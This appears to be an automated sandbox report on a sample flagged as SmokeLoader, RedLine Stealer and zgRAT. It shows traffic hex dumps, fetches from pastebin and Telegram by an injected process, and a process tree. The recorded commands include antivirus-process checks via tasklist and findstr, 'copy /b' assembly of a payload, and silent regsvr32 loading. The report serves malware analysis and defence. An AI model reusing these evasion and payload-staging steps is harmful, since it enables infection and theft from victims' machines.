2024-01-07 04:30:05 UTC	15331	OUT	Data Raw: 7e bc ef f2 47 23 9b 6f fa 9e 05 82 86 1a 4d 61 5b 7c 61 a7 db f8 8a f3 0d 67 1d 63 7b 2b b6 1f fc 08 32 fc 21 74 ce 59 f6 57 5d e2 33 e8 77 09 36 b7 32 11 43 00 0f 86 0a e8 ad 6d 83 f2 b6 dc 1f ae 90 70 36 a2 77 10 b7 7e 8b 5e 70 54 e7 f0 96 3e ee 10 c7 1f 35 b1 75 94 5e 64 66 40 32 ac 92 64 44 ef 53 53 9f d5 93 c7 84 c0 3e 3f aa 43 fa a7 98 e7 41 fe 55 8c 1c 21 e6 f8 7d 1e b0 b0 d3 ce 6e 6b df 45 a1 1b 89 2e 68 bd 50 04 b9 61 57 d4 3d 35 8d 1f 38 c5 b1 7e 47 75 d6 1d b4 e6 40 d0 47 74 83 32 e3 5c 43 8f e7 83 42 2b 25 63 b2 97 1e 85 c5 9c 74 e1 29 11 ba 8e 38 f7 f4 cb 95 41 5f b6 26 48 46 2a f1 97 d4 ec 0c 1f 8f 5b f4 cb ed f0 78 53 b1 5a 60 ff 9d 56 4d 09 1a 2e ea 14 a5 94 2b 6d 77 3f a9 94 fe ed dd 6c e3 c0 fc 72 d9 3f 61 87 f5 ed 43 3b a3 82 fd 57 ed Data Ascii: ~G#oMa[\|agc{+2!tYW]3w62Cmp6w~^pT>5u^df@2dDSS>?CAU!}nkE.hPaW=58~Gu@Gt2\CB+%ct)8A_&HF*[xSZ`VM.+mw?lr?aC;W
2024-01-07 04:30:05 UTC	15331	OUT	Data Raw: ec 8c cf 06 12 c4 7b 6f e0 16 71 c8 f2 5b 8e 69 ee 73 25 f1 d5 78 45 2b 5a 12 63 fd 67 26 3e f2 c9 66 68 0a 22 f9 36 0b b3 39 6e 4b 1a 4a 28 d0 46 c2 cd 07 ac 48 13 74 56 ee ac 96 7e 9b 8f 66 fd 8c 12 bd 89 06 b8 cd d5 9f 69 2c 9f 21 04 fd da e8 d2 e3 9c 7b 81 4c 76 80 73 f5 8f 6b 51 0e bd 60 b1 46 08 5c dd 18 2d f9 58 23 3d 5a a9 d4 b7 59 09 53 1f 03 10 5d 4a 7f c7 01 3c ca 3e 4a e7 3c 85 f2 ee 92 9f 19 7c 28 38 bf 1f e0 e2 e0 d8 9b e0 a3 75 4a 61 c9 fe 00 7f 50 52 71 a0 70 8e 06 c3 01 8f 91 9a d9 0b 37 49 e4 27 92 9e eb ac d3 9f e3 2a 9c 6e ae bb 4c b3 b4 93 35 00 23 f6 50 a7 9d 54 2a b7 2a 8b fd 64 22 41 1d a4 87 91 a8 e1 97 68 34 1b 74 38 04 a7 14 f9 b3 fb 3b 3f ba 04 8c d5 b9 dc a8 a3 16 db 05 a4 a1 c2 4a c4 38 2e 3b 37 d7 ce b9 57 4a 28 35 50 b3 b0 Data Ascii: {oq[is%xE+Zcg&>fh"69nKJ(FHtV~fi,!{LvskQ`F\-X#=ZYS]J<>J<\|(8uJaPRqp7I'nL5#PT*d"Ah4t8;?J8.;7WJ(5P
2024-01-07 04:30:05 UTC	15331	OUT	Data Raw: 98 53 6f 73 8d b5 af 21 ca 87 ea 5d 12 8c 27 f3 03 5e 81 f5 d8 aa a3 ae f5 9d 66 4d e3 fb 43 1c a5 02 90 98 55 be a2 5e fa 03 4f 7f 12 f6 fa be 45 6f 28 19 d9 9d 1a d7 52 c3 7b 22 1a 68 36 9f 06 bf 95 af ea 97 78 72 5e 94 3d 38 3e 2c d1 ef b4 e9 fc 2f e2 09 a5 70 ff 54 fd 55 01 52 a0 47 0c 63 d8 28 bf a7 24 e0 9a d7 d2 e6 97 44 3c a9 d6 54 2e fd e7 75 da 59 bd a1 66 da 1c 62 a9 00 e6 75 53 75 c7 07 ba 63 da d8 44 31 f7 36 e7 b4 73 7a dd 7b fa 83 75 9b 4f 00 b2 d7 ed c8 f9 91 7d e8 2a 13 f1 74 67 8f 45 2c c0 cc 3c d3 c9 59 df 1a 1e 87 8f 2e 74 10 a3 a2 7e 49 02 6b 10 53 04 70 5a 2d 17 6f e7 c1 8e 54 e1 39 ff 27 5f 6d 4f 7d b7 e8 b1 be 05 e8 53 86 89 2b 01 a6 5c 77 7c b5 4a 02 04 50 37 cc 51 cc 1b 21 0a 7c b4 54 e8 bc c8 d5 d9 f5 90 f5 13 cb f3 59 3c 0e e3 Data Ascii: Sos!]'^fMCU^OEo(R{"h6xr^=8>,/pTURGc($D<T.uYfbuSucD16sz{uO}*tgE,<Y.t~IkSpZ-oT9'_mO}S+\w\|JP7Q!\|TY<
2024-01-07 04:30:05 UTC	15331	OUT	Data Raw: b0 1e 5b 46 58 c8 8d 7b f0 da 68 81 70 94 4a 27 e0 4e cc 85 1f 25 c0 5a 86 bf e6 98 9c 57 3a 6d 0d d1 12 a2 42 90 f2 46 a0 0e 55 98 20 42 27 ec bb 54 ff 00 e2 87 f8 f8 05 25 be d5 1c 78 14 2b ff f4 13 38 d0 fb b5 29 1f 65 d6 10 2c c1 79 03 d2 9f 04 ab 22 68 c1 ae 31 8d 2f 9e 0c aa 3b e4 b7 07 f0 cd 26 e5 91 f9 f9 66 b7 e8 51 61 82 c2 4c ed 65 61 be 6f d5 9f e5 19 da fc 74 2a db a5 8a c8 24 52 d2 9e 04 31 f1 ba e9 71 3c 3a 06 f2 f2 61 69 e5 c6 28 d3 48 98 0f 55 60 33 20 ab 5c 1d cb 59 32 72 9c f7 bf 90 b2 68 4d b8 e6 06 7d 9c ed 32 40 7f e0 01 87 c7 49 ae 75 41 69 79 23 46 2d 02 8f ce 85 65 1c 7e 0d 82 f9 36 c5 05 ce 77 a5 15 e3 71 d2 aa 9e db 05 0f b6 57 65 1c fd 72 9f 74 01 da 1d 58 22 16 bb 19 31 5f 02 73 7e cd b9 ff c2 a3 3b 8c df 6e 72 a1 07 56 bf 5a Data Ascii: [FX{hpJ'N%ZW:mBFU B'T%x+8)e,y"h1/;&fQaLeaot*$R1q<:ai(HU`3 \Y2rhM}2@IuAiy#F-e~6wqWertX"1_s~;nrVZ
2024-01-07 04:30:05 UTC	15331	OUT	Data Raw: 09 0b 7e b2 38 e7 f1 57 f3 db 00 3f 81 f8 6b 84 18 84 0b c6 6d fd 7a 76 69 34 49 84 e2 0b 99 3b e6 67 20 64 1e d6 8b ee 10 6c ca d2 3a 04 0e 5b a7 d7 d6 18 ad 06 a6 35 a1 4d 4b 31 fc f4 46 1e 8a b9 49 31 f7 3c cb 5a 4f fa 74 3d 8d 17 4c 6e a0 67 ec 40 d3 2f 61 8d 05 ca eb a4 5a d9 74 c5 fa 40 59 91 31 9d 37 ca 89 e1 de 52 cc 66 95 79 6f 57 c4 37 fd 56 a5 87 e2 39 0f ae f1 5b 00 76 2e 8a 10 bb a0 19 4d 03 34 23 9e 3b f4 9f dd f9 02 ab ea a0 c3 3d 0e eb 2a b8 a0 35 53 b7 85 5a 55 5a fa da ad e5 42 fc 55 1d 8b 77 55 50 06 f5 c1 cd ac 91 7e 93 27 fe f4 09 0b b7 f5 73 fe 24 15 06 75 fd 1d bf 76 fd 6d fe 46 c5 1a c5 8b b4 8a 04 b7 80 f8 2c ad 8c 17 55 e1 6d ad e5 68 df 5b 01 b4 e1 55 bb 26 1c 04 e2 e7 68 36 ff 29 65 6d 3e db f3 69 13 0f 7e 4a 64 cd d6 1d dc 73 Data Ascii: ~8W?kmzvi4I;g dl:[5MK1FI1<ZOt=Lng@/aZt@Y17RfyoW7V9[v.M4#;=*5SZUZBUwUP~'s$uvmF,Umh[U&h6)em>i~Jds
2024-01-07 04:30:07 UTC	1335	IN	HTTP/1.1 200 OK Date: Sun, 07 Jan 2024 04:30:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=6mk9idqa7vpkjdrhjvt67c7o7k; expires=Wed, 01-May-2024 22:16:46 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Thu, 07-Mar-2024 04:30:07 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_use_round=1; expires=Thu, 07-Mar-2024 04:30:07 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_round_n=2; expires=Thu, 07-Mar-2024 04:30:07 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=idR8ZSgbnxu9a0%2B0r2xM2I1rYML2gKEMzrDZKlemJGWOykf2QjhW%2FFIpjbkrlejpLw3rEbuUqZ0ZeWuW1k1UMCD%2BOZDJqgDV1oaA5bOxAyTBZxIKX68FhJ4k61ImkJ4c9G%2FMgiieX2omDQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 841976a66f69c445-EWR alt-svc: h3=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49787	149.154.167.99	443	5544	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-07 04:30:38 UTC	65	OUT	GET /tor_proxies HTTP/1.1 Host: t.me Connection: Keep-Alive
2024-01-07 04:30:38 UTC	511	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 07 Jan 2024 04:30:38 GMT Content-Type: text/html; charset=utf-8 Content-Length: 10970 Connection: close Set-Cookie: stel_ssid=c79d29405fd0157252_5987371226227394250; expires=Mon, 08 Jan 2024 04:30:38 GMT; path=/; samesite=None; secure; HttpOnly Pragma: no-cache Cache-control: no-store X-Frame-Options: ALLOW-FROM https://web.telegram.org Content-Security-Policy: frame-ancestors https://web.telegram.org Strict-Transport-Security: max-age=35768000
2024-01-07 04:30:38 UTC	10970	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 54 65 6c 65 67 72 61 6d 3a 20 43 6f 6e 74 61 63 74 20 40 74 6f 72 5f 70 72 6f 78 69 65 73 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 3e 74 72 79 7b 69 66 28 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 21 3d 6e 75 6c 6c 26 26 77 69 6e 64 6f 77 21 3d 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 29 7b 77 69 6e 64 6f 77 2e 70 Data Ascii: <!DOCTYPE html><html> <head> <meta charset="utf-8"> <title>Telegram: Contact @tor_proxies</title> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <script>try{if(window.parent!=null&&window!=window.parent){window.p

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49794	104.20.68.143	443	5544	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-07 04:30:38 UTC	74	OUT	GET /raw/z2fzAVz5 HTTP/1.1 Host: pastebin.com Connection: Keep-Alive
2024-01-07 04:30:39 UTC	388	IN	HTTP/1.1 200 OK Date: Sun, 07 Jan 2024 04:30:39 GMT Content-Type: text/plain; charset=utf-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-content-type-options: nosniff x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: MISS Last-Modified: Sun, 07 Jan 2024 04:30:39 GMT Server: cloudflare CF-RAY: 84197774e9d4439f-EWR
2024-01-07 04:30:39 UTC	567	IN	Data Raw: 32 33 30 0d 0a 31 39 35 2e 36 36 2e 38 37 2e 31 30 35 3a 38 39 39 30 0d 0a 31 37 30 2e 37 35 2e 31 36 37 2e 32 34 32 3a 39 30 30 38 0d 0a 33 34 2e 32 34 35 2e 33 34 2e 31 31 39 3a 39 30 31 34 0d 0a 31 34 39 2e 32 30 32 2e 38 36 2e 32 32 32 3a 39 31 35 31 0d 0a 33 34 2e 32 34 35 2e 33 34 2e 31 31 39 3a 39 31 36 30 0d 0a 31 33 30 2e 31 38 35 2e 38 33 2e 37 36 3a 39 31 35 31 0d 0a 31 37 30 2e 37 35 2e 31 37 32 2e 35 30 3a 39 30 30 38 0d 0a 33 34 2e 32 34 35 2e 33 34 2e 31 31 39 3a 39 30 39 39 0d 0a 33 34 2e 32 34 35 2e 33 34 2e 31 31 39 3a 39 30 39 30 0d 0a 33 34 2e 32 34 35 2e 33 34 2e 31 31 39 3a 39 30 30 30 0d 0a 33 34 2e 32 34 35 2e 33 34 2e 31 31 39 3a 39 31 39 31 0d 0a 31 39 34 2e 35 38 2e 33 33 2e 32 33 3a 39 30 34 39 0d 0a 31 35 39 2e 36 35 2e 31 35 Data Ascii: 230195.66.87.105:8990170.75.167.242:900834.245.34.119:9014149.202.86.222:915134.245.34.119:9160130.185.83.76:9151170.75.172.50:900834.245.34.119:909934.245.34.119:909034.245.34.119:900034.245.34.119:9191194.58.33.23:9049159.65.15
2024-01-07 04:30:39 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	05:28:52
Start date:	07/01/2024
Path:	C:\Users\user\Desktop\987123.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\987123.exe
Imagebase:	0x400000
File size:	308'224 bytes
MD5 hash:	1B92D73AC6CA807ADC303C424EEEB80B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000000.00000002.1708892086.0000000000730000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000000.00000002.1708892086.0000000000730000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000000.00000002.1708988921.0000000000751000.00000004.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000000.00000002.1708988921.0000000000751000.00000004.10000000.00040000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000000.00000002.1708692549.0000000000720000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000000.00000002.1709555486.000000000080D000.00000040.00000020.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	05:28:58
Start date:	07/01/2024
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Explorer.EXE
Imagebase:	0x7ff72b770000
File size:	5'141'208 bytes
MD5 hash:	662F4F92FDE3557E86D110526BB578D5
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	05:29:17
Start date:	07/01/2024
Path:	C:\Users\user\AppData\Roaming\ufhjbuw
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\ufhjbuw
Imagebase:	0x400000
File size:	308'224 bytes
MD5 hash:	1B92D73AC6CA807ADC303C424EEEB80B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000003.00000002.1984144647.00000000004D0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000003.00000002.1984144647.00000000004D0000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000003.00000002.1987664254.00000000006EC000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000003.00000002.1984120576.00000000004C0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000003.00000002.1988409529.00000000020D1000.00000004.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000003.00000002.1988409529.00000000020D1000.00000004.10000000.00040000.00000000.sdmp, Author: unknown
Antivirus matches:	Detection: 46%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	05:29:20
Start date:	07/01/2024
Path:	C:\Windows\System32\regsvr32.exe
Wow64 process (32bit):	false
Commandline:	regsvr32 /s C:\Users\user\AppData\Local\Temp\35E5.dll
Imagebase:	0x7ff7595a0000
File size:	25'088 bytes
MD5 hash:	B0C2FA35D14A9FAD919E99D9D75E1B9E
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	05:29:20
Start date:	07/01/2024
Path:	C:\Windows\SysWOW64\regsvr32.exe
Wow64 process (32bit):	true
Commandline:	/s C:\Users\user\AppData\Local\Temp\35E5.dll
Imagebase:	0x6b0000
File size:	20'992 bytes
MD5 hash:	878E47C8656E53AE8A8A21E927C6F7E0
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	05:29:22
Start date:	07/01/2024
Path:	C:\Users\user\AppData\Local\Temp\3BD2.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\3BD2.exe
Imagebase:	0x400000
File size:	1'278'578 bytes
MD5 hash:	1B728C6E8F10313D7367C82E48D022DA
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 3%, ReversingLabs Detection: 3%, Virustotal, Browse
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	05:29:22
Start date:	07/01/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	05:29:23
Start date:	07/01/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /k cmd < Advancement & exit
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	05:29:23
Start date:	07/01/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	05:29:23
Start date:	07/01/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	05:29:24
Start date:	07/01/2024
Path:	C:\Users\user\AppData\Local\Temp\4577.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\4577.exe
Imagebase:	0x400000
File size:	1'899'520 bytes
MD5 hash:	AA053CF4ED948FEC79703DEBBB45FBBF
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 0000000D.00000002.2101613794.0000000002735000.00000040.00000020.00020000.00000000.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 70%, ReversingLabs Detection: 51%, Virustotal, Browse
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	05:29:27
Start date:	07/01/2024
Path:	C:\Windows\SysWOW64\tasklist.exe
Wow64 process (32bit):	true
Commandline:	tasklist
Imagebase:	0xfc0000
File size:	79'360 bytes
MD5 hash:	0A4448B31CE7F83CB7691A2657F330F1
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	05:29:27
Start date:	07/01/2024
Path:	C:\Windows\SysWOW64\findstr.exe
Wow64 process (32bit):	true
Commandline:	findstr /I "avastui.exe avgui.exe nswscsvc.exe sophoshealth.exe"
Imagebase:	0x1a0000
File size:	29'696 bytes
MD5 hash:	F1D4BE0E99EC734376FDE474A8D4EA3E
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	05:29:28
Start date:	07/01/2024
Path:	C:\Windows\SysWOW64\tasklist.exe
Wow64 process (32bit):	true
Commandline:	tasklist
Imagebase:	0xfc0000
File size:	79'360 bytes
MD5 hash:	0A4448B31CE7F83CB7691A2657F330F1
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	05:29:28
Start date:	07/01/2024
Path:	C:\Windows\SysWOW64\findstr.exe
Wow64 process (32bit):	true
Commandline:	findstr /I "wrsa.exe"
Imagebase:	0x1a0000
File size:	29'696 bytes
MD5 hash:	F1D4BE0E99EC734376FDE474A8D4EA3E
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	05:29:29
Start date:	07/01/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c mkdir 15372
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	05:29:29
Start date:	07/01/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c copy /b Zoo + Viewers + Bow + Contractors + Protection + Desk + Kinds 15372\Far.pif
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	05:29:29
Start date:	07/01/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c copy /b Payday + Corporate + Spain 15372\i
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	05:29:30
Start date:	07/01/2024
Path:	C:\Users\user\AppData\Local\Temp\7ZipSfx.000\15372\Far.pif
Wow64 process (32bit):	false
Commandline:	15372\Far.pif 15372\i
Imagebase:	0x7ff73d040000
File size:	1'071'200 bytes
MD5 hash:	BFA84DBDE0DF8F1CAD3E179BD46A6E34
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs Detection: 1%, Virustotal, Browse
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	05:29:30
Start date:	07/01/2024
Path:	C:\Windows\SysWOW64\PING.EXE
Wow64 process (32bit):	true
Commandline:	ping -n 5 localhost
Imagebase:	0x990000
File size:	18'944 bytes
MD5 hash:	B3624DD758CCECF93A1226CEF252CA12
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	05:29:38
Start date:	07/01/2024
Path:	C:\Users\user\AppData\Local\Temp\7ZipSfx.000\15372\Far.pif
Wow64 process (32bit):
Commandline:	C:\Users\user\AppData\Local\Temp\7ZipSfx.000\15372\Far.pif
Imagebase:
File size:	1'071'200 bytes
MD5 hash:	BFA84DBDE0DF8F1CAD3E179BD46A6E34
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	24
Start time:	05:29:39
Start date:	07/01/2024
Path:	C:\Users\user\AppData\Local\Temp\4577.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\4577.exe
Imagebase:	0x400000
File size:	1'899'520 bytes
MD5 hash:	AA053CF4ED948FEC79703DEBBB45FBBF
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	25
Start time:	05:29:46
Start date:	07/01/2024
Path:	C:\Users\user\AppData\Local\Temp\9D1E.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\9D1E.exe
Imagebase:	0xfb0000
File size:	5'284'488 bytes
MD5 hash:	2AA4B3C398F32A8D4403B21769ED1FC1
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_zgRAT_1, Description: Yara detected zgRAT, Source: C:\Users\user\AppData\Local\Temp\9D1E.exe, Author: Joe Security Rule: INDICATOR_EXE_Packed_DotNetReactor, Description: Detects executables packed with unregistered version of .NET Reactor, Source: C:\Users\user\AppData\Local\Temp\9D1E.exe, Author: ditekSHen
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 27%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	05:29:47
Start date:	07/01/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
Imagebase:	0x4b0000
File size:	42'064 bytes
MD5 hash:	5D4073B2EB6D217C19F2B22F21BF8D57
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	05:29:48
Start date:	07/01/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k WerSvcGroup
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	28
Start time:	05:29:48
Start date:	07/01/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -pss -s 432 -p 2736 -ip 2736
Imagebase:	0x840000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	05:29:48
Start date:	07/01/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 2736 -s 1160
Imagebase:	0x840000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	.Net C# or VB.NET
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	05:29:56
Start date:	07/01/2024
Path:	C:\Users\user\AppData\Local\Temp\E35F.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\AppData\Local\Temp\E35F.exe
Imagebase:	0xd30000
File size:	1'671'680 bytes
MD5 hash:	EAFEB784379E60C2D0BD8D46EAC05286
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	.Net C# or VB.NET
